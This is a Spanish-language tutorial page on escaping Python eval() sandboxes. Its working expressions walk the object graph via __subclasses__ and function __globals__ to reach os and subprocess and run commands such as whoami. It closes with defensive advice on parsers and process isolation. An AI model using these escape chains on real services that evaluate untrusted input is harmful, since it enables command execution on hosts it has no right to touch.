Árbol de conocimiento
En esta página

Escapes de sandboxes con eval en Python

Cómo razonar sobre namespaces, objetos alcanzables y capacidades al evaluar expresiones Python.
Actualizado 6 oct 2026

Vaciar los nombres visibles para una expresión cambia lo que puede encontrar por nombre. No cambia automáticamente los objetos que puede construir, recibir o recorrer. Un análisis útil de eval() sigue esta secuencia: reachability → object graph → capability recovery. El objetivo es averiguar qué referencias existen en ese proceso concreto.

Namespaces de eval

eval(expr, globals, locals) evalúa una expresión con los diccionarios indicados. Si globals no contiene __builtins__, Python los inserta. Pasar un diccionario vacío y pasar uno con builtins vacíos produce resultados distintos:

eval("len([1, 2])", {}, {})                      # 2
eval("len([1, 2])", {"__builtins__": {}}, {})  # NameError

Los locals pueden introducir nombres adicionales. Un NameError demuestra que ese nombre no se resolvió por esa ruta. No demuestra que la operación sea inaccesible por cualquier referencia. La documentación de Python advierte que cambiar __builtins__ no es una frontera de seguridad.

def double(value):
    return value * 2

eval("double(3)", {"__builtins__": {}}, {"double": double})  # 6

Aquí el host ha introducido una función en el espacio local. El control relevante ya no es solo la lista de nombres, sino lo que esa función y sus atributos hacen alcanzable.

Del literal al grafo de objetos

Una tupla vacía se puede construir sin resolver ningún nombre:

()                         # instancia de tuple
().__class__               # <class 'tuple'>
().__class__.__mro__        # (tuple, object)
().__class__.__mro__[-1]   # <class 'object'>

__mro__ es el orden de resolución de métodos. object expone __subclasses__(), que devuelve sus subclases directas todavía vivas:

classes = eval(
    "().__class__.__mro__[-1].__subclasses__()",
    {"__builtins__": {}},
    {},
)
print(len(classes) > 0)

Eso demuestra alcance al grafo, no ejecución de comandos. Las clases cargadas cambian con la versión de Python, los imports y el estado del proceso. Por eso subclasses()[59] y otros índices fijos son frágiles. Los gadgets citados en textos antiguos, como warnings.catch_warnings, solo son relevantes si están presentes y llevan a una capacidad útil en ese runtime.

Este ejemplo local con Python 3.12 presupone que warnings.catch_warnings ya está cargada. Busca la clase por nombre, llega al módulo warnings, recupera __import__ de sus builtins y pide a os el directorio actual:

expr = (
    "[c for c in ().__class__.__mro__[-1].__subclasses__() "
    "if c.__name__ == 'catch_warnings'][0]()._module."
    "__builtins__['__import__']('os').getcwd()"
)
eval(expr, {"__builtins__": {}}, {})

Es una prueba sobre un grafo de objetos concreto, no un payload universal. Fallará si la clase no está presente o cambia esa ruta. Lo relevante es que la expresión recupera una referencia a una capacidad pese a tener los builtins vacíos en sus globals.

Funciones alcanzables

Una función definida en Python conserva una referencia al namespace de su módulo:

service_name = "example"

def label():
    return service_name

label.__globals__["service_name"]  # "example"

Si una expresión alcanza label, puede inspeccionar esa referencia:

eval(
    "label.__globals__['service_name']",
    {"__builtins__": {}},
    {"label": label},
)

El namespace del módulo puede contener builtins, módulos importados u otros objetos. El análisis pasa de «qué palabras bloqueé» a «qué funciones y objetos entregué o dejé alcanzables». Para recuperar una capacidad concreta tiene que existir una ruta de referencias hasta ella. Alcanzar object no implica por sí solo acceso a filesystem o procesos, y cualquier operación sigue limitada por los permisos del proceso.

En una prueba local, basta con que la función entregada por el host pertenezca a un módulo que ya ha importado subprocess:

import subprocess

def label():
    return "example"

eval(
    "label.__globals__['subprocess'].run(['whoami'], capture_output=True, text=True).stdout",
    {"__builtins__": {}},
    {"label": label},
)

La expresión no tiene subprocess como nombre directo ni builtins en sus globals. Llega al módulo por label.__globals__ y ejecuta whoami con los permisos del proceso host. En un target real, comprueba primero que esa función Python y ese módulo sean alcanzables. Un nombre bloqueado, por sí solo, no es un hallazgo útil.

Filtros y fronteras

Una blacklist de __import__, open, os o subclasses solo cubre esas grafías. Atributos, valores proporcionados por la aplicación y strings construidos durante la evaluación pueden llevar a otras referencias. Antes de atribuir seguridad a un filtro, comprueba qué sintaxis admite, qué objetos recibe la expresión y qué atributos siguen accesibles.

Separa cuatro controles al revisar el diseño:

ControlQué limita
NamespaceNombres disponibles directamente
SintaxisOperaciones aceptadas por el parser
Grafo de objetosReferencias que una expresión puede seguir
Aislamiento del procesoFicheros, red, procesos, CPU y memoria alcanzables

Si solo hace falta interpretar datos, usa un parser de datos. ast.literal_eval() acepta literales sin llamadas generales, aunque una entrada no confiable todavía puede agotar recursos. Si se debe ejecutar Python ajeno, el aislamiento tiene que estar fuera del intérprete evaluado. Vaciar builtins o filtrar strings no sustituye esa frontera.

Referencias